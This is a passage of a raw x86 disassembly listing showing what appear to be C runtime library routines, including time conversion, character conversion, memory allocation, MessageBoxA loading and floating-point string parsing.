jle short loc_420E0E
sub ecx, 7
jmp short loc_420E0E
; ---------------------------------------------------------------------------
loc_420DF3: ; CODE XREF: sub_420D58+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_420E04
mov ecx, dword_43C020[eax*4]
jmp short loc_420E0B
; ---------------------------------------------------------------------------
loc_420E04: ; CODE XREF: sub_420D58+A1j
mov ecx, dword_43C054[eax*4]
loc_420E0B: ; CODE XREF: sub_420D58+AAj
add ecx, [ebp+arg_18]
loc_420E0E: ; CODE XREF: sub_420D58+7Cj
; sub_420D58+94j ...
cmp [ebp+arg_0], 1
jnz short loc_420E3F
mov eax, [ebp+arg_1C]
mov dword_43C00C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43C008, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43C010, eax
jmp short loc_420E94
; ---------------------------------------------------------------------------
loc_420E3F: ; CODE XREF: sub_420D58+BAj
mov eax, [ebp+arg_1C]
mov dword_43C01C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43BF78
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43C020, eax
jns short loc_420E77
add eax, 5265C00h
dec ecx
mov dword_43C020, eax
jmp short loc_420E88
; ---------------------------------------------------------------------------
loc_420E77: ; CODE XREF: sub_420D58+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_420E8E
sub eax, edx
inc ecx
mov dword_43C020, eax
loc_420E88: ; CODE XREF: sub_420D58+11Dj
mov dword_43C01C, ecx
loc_420E8E: ; CODE XREF: sub_420D58+126j
mov dword_43C018, ebx
loc_420E94: ; CODE XREF: sub_420D58+E5j
pop esi
pop ebx
pop ebp
retn
sub_420D58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420E98 proc near ; CODE XREF: sub_41D797+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_420EBB
cmp [ebp+arg_8], ebx
jz short loc_420EBB
mov al, [esi]
cmp al, bl
jnz short loc_420EC1
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_420EBB
mov [eax], bx
loc_420EBB: ; CODE XREF: sub_420E98+Cj
; sub_420E98+11j ...
xor eax, eax
loc_420EBD: ; CODE XREF: sub_420E98+42j
; sub_420E98+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420EC1: ; CODE XREF: sub_420E98+17j
cmp dword_48A0A8, ebx
jnz short loc_420EDC
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_420ED7
movzx ax, al
mov [ecx], ax
loc_420ED7: ; CODE XREF: sub_420E98+36j
; sub_420E98+C0j
push 1
pop eax
jmp short loc_420EBD
; ---------------------------------------------------------------------------
loc_420EDC: ; CODE XREF: sub_420E98+2Fj
mov ecx, off_4395A0
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420F39
mov eax, dword_4397AC
cmp eax, 1
jle short loc_420F20
cmp [ebp+arg_8], eax
jl short loc_420F2A
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_48A0B8
nop
call near ptr 2610000h
test eax, eax
mov eax, dword_4397AC
jnz short loc_420EBD
loc_420F20: ; CODE XREF: sub_420E98+5Cj
cmp [ebp+arg_8], eax
jb short loc_420F2A
cmp [esi+1], bl
jnz short loc_420EBD
loc_420F2A: ; CODE XREF: sub_420E98+61j
; sub_420E98+8Bj ...
mov dword_48A014, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_420EBD
; ---------------------------------------------------------------------------
loc_420F39: ; CODE XREF: sub_420E98+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_48A0B8
nop
call near ptr 2610000h
test eax, eax
jnz loc_420ED7
jmp short loc_420F2A
sub_420E98 endp
; =============== S U B R O U T I N E =======================================
sub_420F60 proc near ; CODE XREF: sub_41D797+76p
; sub_41D797+88p ...
arg_0 = dword ptr 4
cmp dword_4397AC, 1
jle short loc_420F77
push 8
push [esp+4+arg_0]
call sub_41A642
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_420F77: ; CODE XREF: sub_420F60+7j
mov eax, [esp+arg_0]
mov ecx, off_4395A0
mov al, [ecx+eax*2]
and eax, 8
retn
sub_420F60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_420F90 proc near ; CODE XREF: sub_41D797+797p
; sub_41D797+7E7p
cmp cl, 40h
jnb short loc_420FAA
cmp cl, 20h
jnb short loc_420FA0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_420FA0: ; CODE XREF: sub_420F90+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_420FAA: ; CODE XREF: sub_420F90+3j
xor eax, eax
xor edx, edx
retn
sub_420F90 endp
; =============== S U B R O U T I N E =======================================
sub_420FAF proc near ; CODE XREF: sub_41E20D+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_420FFB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_420FCD
test al, 80h
jz short loc_420FFB
test al, 2
jnz short loc_420FFB
loc_420FCD: ; CODE XREF: sub_420FAF+14j
cmp dword ptr [esi+8], 0
jnz short loc_420FDA
push esi
call sub_41F9D8
pop ecx
loc_420FDA: ; CODE XREF: sub_420FAF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_420FEA
cmp dword ptr [esi+4], 0
jnz short loc_420FFB
inc eax
mov [esi], eax
loc_420FEA: ; CODE XREF: sub_420FAF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_421001
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_421007
inc eax
mov [esi], eax
loc_420FFB: ; CODE XREF: sub_420FAF+9j
; sub_420FAF+18j ...
or eax, 0FFFFFFFFh
loc_420FFE: ; CODE XREF: sub_420FAF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_421001: ; CODE XREF: sub_420FAF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_421007: ; CODE XREF: sub_420FAF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_420FFE
sub_420FAF endp
; =============== S U B R O U T I N E =======================================
sub_42101D proc near ; CODE XREF: ___:0041F15Ap
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_42102E
add esp, 0Ch
retn
sub_42101D endp
; =============== S U B R O U T I N E =======================================
sub_42102E proc near ; CODE XREF: sub_42101D+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_48B561[eax], cl
jnz short loc_42105B
cmp [esp+arg_4], 0
jz short loc_421054
movzx eax, word_4395AA[eax*2]
and eax, [esp+arg_4]
jmp short loc_421056
; ---------------------------------------------------------------------------
loc_421054: ; CODE XREF: sub_42102E+16j
xor eax, eax
loc_421056: ; CODE XREF: sub_42102E+24j
test eax, eax
jnz short loc_42105B
retn
; ---------------------------------------------------------------------------
loc_42105B: ; CODE XREF: sub_42102E+Fj
; sub_42102E+2Aj
push 1
pop eax
retn
sub_42102E endp
; =============== S U B R O U T I N E =======================================
sub_42105F proc near ; CODE XREF: sub_41F885+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_48A2DC, ebx
push esi
push edi
jnz short loc_4210AE
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 26D0C95h
mov edi, eax
cmp edi, ebx
jz short loc_4210E4
mov esi, dword_4240DC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_48A2DC, eax
jz short loc_4210E4
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_48A2E0, eax
call esi
mov dword_48A2E4, eax
loc_4210AE: ; CODE XREF: sub_42105F+Bj
mov eax, dword_48A2E0
test eax, eax
jz short loc_4210CD
call eax
mov ebx, eax
test ebx, ebx
jz short loc_4210CD
mov eax, dword_48A2E4
test eax, eax
jz short loc_4210CD
push ebx
call eax
mov ebx, eax
loc_4210CD: ; CODE XREF: sub_42105F+56j
; sub_42105F+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_48A2DC
loc_4210E0: ; CODE XREF: sub_42105F+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4210E4: ; CODE XREF: sub_42105F+1Cj
; sub_42105F+33j
xor eax, eax
jmp short loc_4210E0
sub_42105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210E8 proc near ; CODE XREF: sub_41FA42+22p
; sub_41FA42+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_421109
test esi, esi
jnz short loc_421103
push 1
pop esi
loc_421103: ; CODE XREF: sub_4210E8+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_421109: ; CODE XREF: sub_4210E8+12j
; sub_4210E8+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_421168
mov eax, dword_48B688
cmp eax, 3
jnz short loc_421134
mov eax, [ebp+arg_0]
cmp eax, dword_48B680
ja short loc_421153
push eax
call sub_41B0DD
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42117E
jmp short loc_421153
; ---------------------------------------------------------------------------
loc_421134: ; CODE XREF: sub_4210E8+30j
cmp eax, 2
jnz short loc_421153
cmp esi, dword_43B7E4
ja short loc_421153
mov eax, esi
shr eax, 4
push eax
call sub_41BB80
mov edi, eax
pop ecx
test edi, edi
jnz short loc_421192
loc_421153: ; CODE XREF: sub_4210E8+3Bj
; sub_4210E8+4Aj ...
push esi
push 8
push dword_48B684
nop
call near ptr 26F0000h
mov edi, eax
test edi, edi
jnz short loc_42118C
loc_421168: ; CODE XREF: sub_4210E8+26j
cmp dword_48A074, 0
jz short loc_42118C
push esi
call sub_41AB54
test eax, eax
pop ecx
jz short loc_421195
jmp short loc_421109
; ---------------------------------------------------------------------------
loc_42117E: ; CODE XREF: sub_4210E8+48j
push [ebp+arg_0]
loc_421181: ; CODE XREF: sub_4210E8+ABj
push 0
push edi
call sub_417330
add esp, 0Ch
loc_42118C: ; CODE XREF: sub_4210E8+7Ej
; sub_4210E8+87j
mov eax, edi
loc_42118E: ; CODE XREF: sub_4210E8+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421192: ; CODE XREF: sub_4210E8+69j
push esi
jmp short loc_421181
; ---------------------------------------------------------------------------
loc_421195: ; CODE XREF: sub_4210E8+92j
xor eax, eax
jmp short loc_42118E
sub_4210E8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41FAE7
loc_421199: ; CODE XREF: sub_41FAE7+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_48B320, esi
jle short loc_4211EC
loc_4211A8: ; CODE XREF: sub_41FAE7+1703j
mov eax, dword_48A310
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4211E3
test byte ptr [eax+0Ch], 83h
jz short loc_4211C7
push eax
call sub_417900
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4211C7
inc edi
loc_4211C7: ; CODE XREF: sub_41FAE7+16D1j
; sub_41FAE7+16DDj
cmp esi, 14h
jl short loc_4211E3
mov eax, dword_48A310
push dword ptr [eax+esi*4]
call sub_417C3B
mov eax, dword_48A310
pop ecx
and dword ptr [eax+esi*4], 0
loc_4211E3: ; CODE XREF: sub_41FAE7+16CBj
; sub_41FAE7+16E3j
inc esi
cmp esi, dword_48B320
jl short loc_4211A8
loc_4211EC: ; CODE XREF: sub_41FAE7+16BFj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41FAE7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4211F1 proc near ; CODE XREF: sub_41FEC6+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_417B30
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_48B440
jnb loc_421326
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_48B340[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_421326
push 1
push esi
push ebx
call sub_41E517
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_421330
push 2
push esi
push ebx
call sub_41E517
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_421330
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_4212D3
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_417330
push 8000h
push ebx
call sub_421E2B
add esp, 14h
mov [ebp+arg_4], eax
loc_421287: ; CODE XREF: sub_4211F1+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_421292
mov eax, edi
loc_421292: ; CODE XREF: sub_4211F1+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41ED97
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_4212B0
sub edi, eax
test edi, edi
jle short loc_4212C6
jmp short loc_421287
; ---------------------------------------------------------------------------
loc_4212B0: ; CODE XREF: sub_4211F1+B5j
cmp dword_48A018, 5
jnz short loc_4212C3
mov dword_48A014, 0Dh
loc_4212C3: ; CODE XREF: sub_4211F1+C6j
or esi, 0FFFFFFFFh
loc_4212C6: ; CODE XREF: sub_4211F1+BBj
push [ebp+arg_4]
push ebx
call sub_421E2B
pop ecx
pop ecx
jmp short loc_421313
; ---------------------------------------------------------------------------
loc_4212D3: ; CODE XREF: sub_4211F1+71j
jge short loc_421313
push 0
push [ebp+arg_4]
push ebx
call sub_41E517
push ebx
call sub_41FE32
add esp, 10h
push eax
nop
call near ptr 25A0000h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_421313
mov dword_48A014, 0Dh
call near ptr 2630313h
nop
mov dword_48A018, eax
loc_421313: ; CODE XREF: sub_4211F1+E0j
; sub_4211F1:loc_4212D3j ...
push 0
push [ebp+arg_0]
push ebx
call sub_41E517
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_421333
; ---------------------------------------------------------------------------
loc_421326: ; CODE XREF: sub_4211F1+1Aj
; sub_4211F1+36j
mov dword_48A014, 9
loc_421330: ; CODE XREF: sub_4211F1+4Ej
; sub_4211F1+63j
or eax, 0FFFFFFFFh
loc_421333: ; CODE XREF: sub_4211F1+133j
pop esi
pop ebx
leave
retn
sub_4211F1 endp
; =============== S U B R O U T I N E =======================================
sub_421337 proc near ; CODE XREF: sub_420331+2Bp
; sub_420331+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_42134D
cmp ecx, esi
jnb short loc_421350
loc_42134D: ; CODE XREF: sub_421337+10j
push 1
pop eax
loc_421350: ; CODE XREF: sub_421337+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_421337 endp
; =============== S U B R O U T I N E =======================================
sub_421358 proc near ; CODE XREF: sub_421411+40p
; sub_421411+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_421337
add esp, 0Ch
test eax, eax
jz short loc_42138A
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_421337
add esp, 0Ch
test eax, eax
jz short loc_42138A
inc dword ptr [esi+8]
loc_42138A: ; CODE XREF: sub_421358+19j
; sub_421358+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_421337
add esp, 0Ch
test eax, eax
jz short loc_4213A2
inc dword ptr [esi+8]
loc_4213A2: ; CODE XREF: sub_421358+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_421337
add esp, 0Ch
pop edi
pop esi
retn
sub_421358 endp
; =============== S U B R O U T I N E =======================================
sub_4213B6 proc near ; CODE XREF: sub_421411+30p
; sub_421411+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4213B6 endp
; =============== S U B R O U T I N E =======================================
sub_4213E4 proc near ; CODE XREF: sub_4219A9+1C8p
; sub_421EA1+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4213E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421411 proc near ; CODE XREF: sub_4214D8+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_421485
push edi
mov [ebp+arg_8], eax
loc_421438: ; CODE XREF: sub_421411+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_4213B6
push ebx
call sub_4213B6
lea eax, [ebp+var_10]
push eax
push ebx
call sub_421358
push ebx
call sub_4213B6
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_421358
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_421438
xor edx, edx
pop edi
loc_421485: ; CODE XREF: sub_421411+21j
; sub_421411+9Fj
cmp [ebx+8], edx
jnz short loc_4214B2
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_421485
; ---------------------------------------------------------------------------
loc_4214B2: ; CODE XREF: sub_421411+77j
mov esi, 8000h
loc_4214B7: ; CODE XREF: sub_421411+B9j
test [ebx+8], esi
jnz short loc_4214CC
push ebx
call sub_4213B6
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4214B7
; ---------------------------------------------------------------------------
loc_4214CC: ; CODE XREF: sub_421411+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_421411 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4214D8 proc near ; CODE XREF: sub_42067A+17p
; sub_4206A7+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_421513: ; CODE XREF: sub_4214D8+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_421529
cmp cl, 9
jz short loc_421529
cmp cl, 0Ah
jz short loc_421529
cmp cl, 0Dh
jnz short loc_42152C
loc_421529: ; CODE XREF: sub_4214D8+40j
; sub_4214D8+45j ...
inc edi
jmp short loc_421513
; ---------------------------------------------------------------------------
loc_42152C: ; CODE XREF: sub_4214D8+4Fj
push 4
pop esi
loc_42152F: ; CODE XREF: sub_4214D8+AEj
; sub_4214D8+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_4217B2 ; default
; jumptable 0042153B case 10
jmp off_421979[eax*4] ; switch jump
loc_421542: ; DATA XREF: ___:off_421979o
cmp bl, 31h ; jumptable 0042153B case 0
jl short loc_421553
cmp bl, 39h
jg short loc_421553
loc_42154C: ; CODE XREF: sub_4214D8+C4j
; sub_4214D8+118j
push 3
jmp loc_421770
; ---------------------------------------------------------------------------
loc_421553: ; CODE XREF: sub_4214D8+6Dj
; sub_4214D8+72j
cmp bl, byte_4397B0
jnz short loc_421562
loc_42155B: ; CODE XREF: sub_4214D8+124j
push 5
jmp loc_4217A8
; ---------------------------------------------------------------------------
loc_421562: ; CODE XREF: sub_4214D8+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_421588
dec eax
dec eax
jz short loc_42157C
sub eax, 3
jnz loc_42184B
jmp loc_42160B
; ---------------------------------------------------------------------------
loc_42157C: ; CODE XREF: sub_4214D8+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_42152F
; ---------------------------------------------------------------------------
loc_421588: ; CODE XREF: sub_4214D8+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_42152F
; ---------------------------------------------------------------------------
loc_421591: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp bl, 31h ; jumptable 0042153B case 1
mov [ebp+var_10], edx
jl short loc_42159E
cmp bl, 39h
jle short loc_42154C
loc_42159E: ; CODE XREF: sub_4214D8+BFj
cmp bl, byte_4397B0
jz loc_421666
cmp bl, 2Bh
jz short loc_4215E0
cmp bl, 2Dh
jz short loc_4215E0
cmp bl, 30h
jz short loc_42160B
loc_4215B9: ; CODE XREF: sub_4214D8+207j
cmp bl, 43h
jle loc_42184B
cmp bl, 45h
jle short loc_4215D9
cmp bl, 63h
jle loc_42184B
cmp bl, 65h
jg loc_42184B
loc_4215D9: ; CODE XREF: sub_4214D8+EDj
push 6
jmp loc_4217A8
; ---------------------------------------------------------------------------
loc_4215E0: ; CODE XREF: sub_4214D8+D5j
; sub_4214D8+DAj ...
dec edi
push 0Bh
jmp loc_4217A8
; ---------------------------------------------------------------------------
loc_4215E8: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp bl, 31h ; jumptable 0042153B case 2
jl short loc_4215F6
cmp bl, 39h
jle loc_42154C
loc_4215F6: ; CODE XREF: sub_4214D8+113j
cmp bl, byte_4397B0
jz loc_42155B
cmp bl, 30h
jnz loc_4217C0
loc_42160B: ; CODE XREF: sub_4214D8+9Fj
; sub_4214D8+DFj
mov eax, edx
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_421612: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
mov [ebp+var_10], edx ; jumptable 0042153B case 3
loc_421615: ; CODE XREF: sub_4214D8+184j
cmp dword_4397AC, edx
jle short loc_42162E
movzx eax, bl
push esi
push eax
call sub_41A642
pop ecx
pop ecx
push 1
pop edx
jmp short loc_42163C
; ---------------------------------------------------------------------------
loc_42162E: ; CODE XREF: sub_4214D8+143j
mov ecx, off_4395A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_42163C: ; CODE XREF: sub_4214D8+154j
test eax, eax
jz short loc_42165E
cmp [ebp+var_4], 19h
jnb short loc_421656
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_421659
; ---------------------------------------------------------------------------
loc_421656: ; CODE XREF: sub_4214D8+16Cj
inc [ebp+var_8]
loc_421659: ; CODE XREF: sub_4214D8+17Cj
mov bl, [edi]
inc edi
jmp short loc_421615
; ---------------------------------------------------------------------------
loc_42165E: ; CODE XREF: sub_4214D8+166j
cmp bl, byte_4397B0
jnz short loc_4216CD
loc_421666: ; CODE XREF: sub_4214D8+CCj
mov eax, esi
jmp loc_42152F
; ---------------------------------------------------------------------------
loc_42166D: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp [ebp+var_4], 0 ; jumptable 0042153B case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_421686
loc_421679: ; CODE XREF: sub_4214D8+1ACj
cmp bl, 30h
jnz short loc_421686
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_421679
; ---------------------------------------------------------------------------
loc_421686: ; CODE XREF: sub_4214D8+19Fj
; sub_4214D8+1A4j ...
cmp dword_4397AC, edx
jle short loc_42169F
movzx eax, bl
push esi
push eax
call sub_41A642
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4216AD
; ---------------------------------------------------------------------------
loc_42169F: ; CODE XREF: sub_4214D8+1B4j
mov ecx, off_4395A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4216AD: ; CODE XREF: sub_4214D8+1C5j
test eax, eax
jz short loc_4216CD
cmp [ebp+var_4], 19h
jnb short loc_4216C8
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_4216C8: ; CODE XREF: sub_4214D8+1DDj
mov bl, [edi]
inc edi
jmp short loc_421686
; ---------------------------------------------------------------------------
loc_4216CD: ; CODE XREF: sub_4214D8+18Cj
; sub_4214D8+1D7j
cmp bl, 2Bh
jz loc_4215E0
cmp bl, 2Dh
jz loc_4215E0
jmp loc_4215B9
; ---------------------------------------------------------------------------
loc_4216E4: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp dword_4397AC, edx ; jumptable 0042153B case 5
mov [ebp+var_24], edx
jle short loc_421700
movzx eax, bl
push esi
push eax
call sub_41A642
pop ecx
pop ecx
push 1
pop edx
jmp short loc_42170E
; ---------------------------------------------------------------------------
loc_421700: ; CODE XREF: sub_4214D8+215j
mov ecx, off_4395A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_42170E: ; CODE XREF: sub_4214D8+226j
test eax, eax
jz loc_4217C0
mov eax, esi
jmp short loc_421771
; ---------------------------------------------------------------------------
loc_42171A: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
lea ecx, [edi-2] ; jumptable 0042153B case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_42172A
cmp bl, 39h
jle short loc_42176E
loc_42172A: ; CODE XREF: sub_4214D8+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_4217A6
dec eax
dec eax
jz short loc_42179A
sub eax, 3
jnz loc_42184E
loc_42173F: ; CODE XREF: sub_4214D8+2A4j
push 8
jmp short loc_4217A8
; ---------------------------------------------------------------------------
loc_421743: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
mov [ebp+var_20], edx ; jumptable 0042153B case 8
loc_421746: ; CODE XREF: sub_4214D8+276j
cmp bl, 30h
jnz short loc_421750
mov bl, [edi]
inc edi
jmp short loc_421746
; ---------------------------------------------------------------------------
loc_421750: ; CODE XREF: sub_4214D8+271j
cmp bl, 31h
jl loc_42184B
cmp bl, 39h
jg loc_42184B
jmp short loc_42176E
; ---------------------------------------------------------------------------
loc_421764: ; CODE XREF: sub_4214D8+63j
; DATA XREF: ___:off_421979o
cmp bl, 31h ; jumptable 0042153B case 7
jl short loc_421777
cmp bl, 39h
